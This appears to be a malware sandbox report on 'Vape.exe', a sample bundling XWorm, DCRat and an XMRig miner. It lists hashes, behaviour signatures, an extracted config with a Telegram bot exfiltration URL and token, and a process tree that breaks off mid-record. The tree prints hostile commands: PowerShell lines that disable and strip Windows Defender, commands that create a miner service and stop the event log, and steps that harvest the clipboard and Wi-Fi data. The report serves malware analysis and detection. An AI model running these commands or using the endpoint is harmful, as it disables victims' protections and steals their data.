Overview

overview

10

Static

static

3

Vape.exe

windows7-x64

10

Vape.exe

windows7-x64

10

Vape.exe

windows10-1703-x64

Vape.exe

windows10-2004-x64

10

Vape.exe

windows11-21h2-x64

Analysis

  • max time kernel
    1800s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 13:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Vape.exe

  • Size

    16.9MB

  • MD5

    b682cd3286eb0cd188dc896d6fd7fa0c

  • SHA1

    f6f15cbc94072cbdab5ae4548c4b13d787f6f617

  • SHA256

    66ac4015c48cc00c995fc8910d09e2ccc0b559785fc52a959a4d2de9fdb8c62b

  • SHA512

    a30ada153f1c2ead70bbe27b3bb770512d04b469ec3e3f19266f81cd06150e1297e06877c5ed899040a7a760d64d24892477df17294721fd8560082a634ce2f5

  • SSDEEP

    393216:61HGgtq8HRisK/m6Smj8xBPKEUVrHCKAfcI:6tGOqKRO/9Smj8bPsxsfcI

Score
10/10
dcratxmrigxwormbootkitevasionexecutioninfostealerminerpersistenceratspywarestealertrojanupx

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %AppData%

  • install_file

    Microsoft_WindowsDefender.exe

  • pastebin_url

    https://pastebin.com/raw/dxKNAdeE

  • telegram

    https://api.telegram.org/bot7013809678:AAEFwh-OW3w4YnEldOGR6NvGudG5gj8iF0Q/sendMessage?chat_id=5073217277

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Detect Xworm Payload 2 IoCs
  • Process spawned unexpected child process 30 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • XMRig Miner payload 7 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 34 IoCs
  • Loads dropped DLL 32 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 36 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 13 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 20 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 31 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Detects videocard installed 1 TTPs 6 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 10 IoCs
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Gathers system information 1 TTPs 2 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 41 IoCs
  • Suspicious use of UnmapMainImage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:336
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:664
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:952
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:532
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:864
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1036
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1076
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1164
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2784
                      • C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        2⤵
                        • Executes dropped EXE
                        PID:5608
                      • C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        2⤵
                        • Executes dropped EXE
                        PID:7052
                      • C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        2⤵
                        • Executes dropped EXE
                        PID:7096
                      • C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        2⤵
                        • Executes dropped EXE
                        PID:2716
                      • C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe
                        2⤵
                        • Executes dropped EXE
                        PID:6112
                      • C:\Webdriversession\cmd.exe
                        C:\Webdriversession\cmd.exe
                        2⤵
                        • Executes dropped EXE
                        PID:6644
                      • C:\Windows\de-DE\conhost.exe
                        C:\Windows\de-DE\conhost.exe
                        2⤵
                        • Executes dropped EXE
                        PID:4756
                      • C:\Recovery\WindowsRE\sysmon.exe
                        C:\Recovery\WindowsRE\sysmon.exe
                        2⤵
                        • Executes dropped EXE
                        PID:3204
                      • C:\Windows\ImmersiveControlPanel\sihost.exe
                        C:\Windows\ImmersiveControlPanel\sihost.exe
                        2⤵
                        • Executes dropped EXE
                        PID:3936
                      • C:\Users\All Users\Templates\tasklist.exe
                        "C:\Users\All Users\Templates\tasklist.exe"
                        2⤵
                        • Executes dropped EXE
                        • Enumerates processes with tasklist
                        PID:7836
                      • C:\Users\All Users\Documents\Microsoft_R.exe
                        "C:\Users\All Users\Documents\Microsoft_R.exe"
                        2⤵
                        • Executes dropped EXE
                        PID:7920
                      • C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe
                        "C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe"
                        2⤵
                        • Executes dropped EXE
                        PID:8100
                      • C:\Webdriversession\cmd.exe
                        C:\Webdriversession\cmd.exe
                        2⤵
                        • Executes dropped EXE
                        PID:9140
                      • C:\Windows\de-DE\conhost.exe
                        C:\Windows\de-DE\conhost.exe
                        2⤵
                        • Executes dropped EXE
                        PID:9520
                      • C:\Recovery\WindowsRE\sysmon.exe
                        C:\Recovery\WindowsRE\sysmon.exe
                        2⤵
                        • Executes dropped EXE
                        PID:9528
                      • C:\Windows\ImmersiveControlPanel\sihost.exe
                        C:\Windows\ImmersiveControlPanel\sihost.exe
                        2⤵
                        • Executes dropped EXE
                        PID:8744
                      • C:\Users\All Users\Templates\tasklist.exe
                        "C:\Users\All Users\Templates\tasklist.exe"
                        2⤵
                        • Executes dropped EXE
                        • Enumerates processes with tasklist
                        PID:12136
                      • C:\Users\All Users\Documents\Microsoft_R.exe
                        "C:\Users\All Users\Documents\Microsoft_R.exe"
                        2⤵
                        • Executes dropped EXE
                        PID:12216
                      • C:\Webdriversession\cmd.exe
                        C:\Webdriversession\cmd.exe
                        2⤵
                        • Executes dropped EXE
                        PID:12232
                      • C:\Windows\de-DE\conhost.exe
                        C:\Windows\de-DE\conhost.exe
                        2⤵
                        • Executes dropped EXE
                        PID:12644
                      • C:\Recovery\WindowsRE\sysmon.exe
                        C:\Recovery\WindowsRE\sysmon.exe
                        2⤵
                        • Executes dropped EXE
                        PID:12656
                      • C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe
                        "C:\Program Files\Common Files\microsoft shared\Triedit\dllhost.exe"
                        2⤵
                        • Executes dropped EXE
                        PID:12756
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Drops file in System32 directory
                      PID:1192
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1264
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1296
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1404
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                            1⤵
                              PID:1432
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1456
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1464
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1484
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                        PID:2648
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1628
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1676
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1752
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1764
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1892
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1984
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1992
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                    1⤵
                                                      PID:1332
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1012
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                        1⤵
                                                          PID:1968
                                                        • C:\Windows\System32\spoolsv.exe
                                                          C:\Windows\System32\spoolsv.exe
                                                          1⤵
                                                            PID:2136
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2208
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2380
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2504
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2512
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                    1⤵
                                                                      PID:2636
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                      1⤵
                                                                      • Drops file in System32 directory
                                                                      PID:2756
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2808
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                        1⤵
                                                                          PID:2820
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                          1⤵
                                                                          • Enumerates connected drives
                                                                          PID:2828
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2844
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2864
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:1060
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3336
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious use of UnmapMainImage
                                                                                  PID:3428
                                                                                  • C:\Users\Admin\AppData\Local\Temp\Vape.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\Vape.exe"
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3916
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe"
                                                                                      3⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1616
                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Webdriversession\gI2DkJwTD.vbe"
                                                                                        4⤵
                                                                                        • Checks computer location settings
                                                                                        PID:4208
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Webdriversession\SoPkc.bat" "
                                                                                          5⤵
                                                                                            PID:5272
                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                              6⤵
                                                                                                PID:5284
                                                                                              • C:\Webdriversession\Intoref.exe
                                                                                                "C:\Webdriversession\Intoref.exe"
                                                                                                6⤵
                                                                                                • Checks computer location settings
                                                                                                • Executes dropped EXE
                                                                                                • Drops file in Program Files directory
                                                                                                • Drops file in Windows directory
                                                                                                PID:5364
                                                                                                • C:\Webdriversession\cmd.exe
                                                                                                  "C:\Webdriversession\cmd.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                  PID:6756
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exe"
                                                                                          3⤵
                                                                                          • Executes dropped EXE
                                                                                          • Drops file in System32 directory
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4176
                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                            4⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:960
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                            4⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:684
                                                                                            • C:\Windows\system32\wusa.exe
                                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                                              5⤵
                                                                                                PID:4592
                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                              4⤵
                                                                                                PID:2592
                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                4⤵
                                                                                                  PID:1924
                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                  4⤵
                                                                                                    PID:3436
                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                    4⤵
                                                                                                      PID:3892
                                                                                                    • C:\Windows\system32\dialer.exe
                                                                                                      C:\Windows\system32\dialer.exe
                                                                                                      4⤵
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      PID:3860
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe delete "QHRAJGDI"
                                                                                                      4⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:1920
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe create "QHRAJGDI" binpath= "C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe" start= "auto"
                                                                                                      4⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:3372
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe stop eventlog
                                                                                                      4⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:3748
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      C:\Windows\system32\sc.exe start "QHRAJGDI"
                                                                                                      4⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:2804
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:1576
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe"
                                                                                                      4⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Loads dropped DLL
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:1336
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe'"
                                                                                                        5⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:244
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft_R.exe'
                                                                                                          6⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:1940
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                        5⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:2404
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                          6⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2724
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                        5⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:2280
                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                          tasklist /FO LIST
                                                                                                          6⤵
                                                                                                          • Enumerates processes with tasklist
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2276
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                        5⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:216
                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                          wmic csproduct get uuid
                                                                                                          6⤵
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:412
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                                                                        5⤵
                                                                                                          PID:4268
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                                                                            6⤵
                                                                                                              PID:1684
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                                                                            5⤵
                                                                                                              PID:3984
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                                                                                6⤵
                                                                                                                  PID:4756
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                5⤵
                                                                                                                  PID:3224
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic path win32_VideoController get name
                                                                                                                    6⤵
                                                                                                                    • Detects videocard installed
                                                                                                                    PID:4644
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                  5⤵
                                                                                                                    PID:4580
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      wmic path win32_VideoController get name
                                                                                                                      6⤵
                                                                                                                      • Detects videocard installed
                                                                                                                      PID:2400
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                    5⤵
                                                                                                                      PID:5516
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        6⤵
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:5588
                                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                                        tasklist /FO LIST
                                                                                                                        6⤵
                                                                                                                        • Enumerates processes with tasklist
                                                                                                                        PID:684
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                      5⤵
                                                                                                                        PID:5544
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          6⤵
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:5620
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          6⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          PID:412
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                        5⤵
                                                                                                                          PID:5920
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            6⤵
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:4832
                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                            6⤵
                                                                                                                              PID:4384
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                            5⤵
                                                                                                                              PID:5968
                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                6⤵
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:1344
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell Get-Clipboard
                                                                                                                                6⤵
                                                                                                                                  PID:6160
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                5⤵
                                                                                                                                  PID:6040
                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                    6⤵
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:6100
                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                    tasklist /FO LIST
                                                                                                                                    6⤵
                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                    PID:5880
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                  5⤵
                                                                                                                                    PID:6072
                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                      6⤵
                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                      PID:3044
                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                      tree /A /F
                                                                                                                                      6⤵
                                                                                                                                        PID:5872
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                                      5⤵
                                                                                                                                        PID:5256
                                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                                          netsh wlan show profile
                                                                                                                                          6⤵
                                                                                                                                            PID:4480
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "systeminfo"
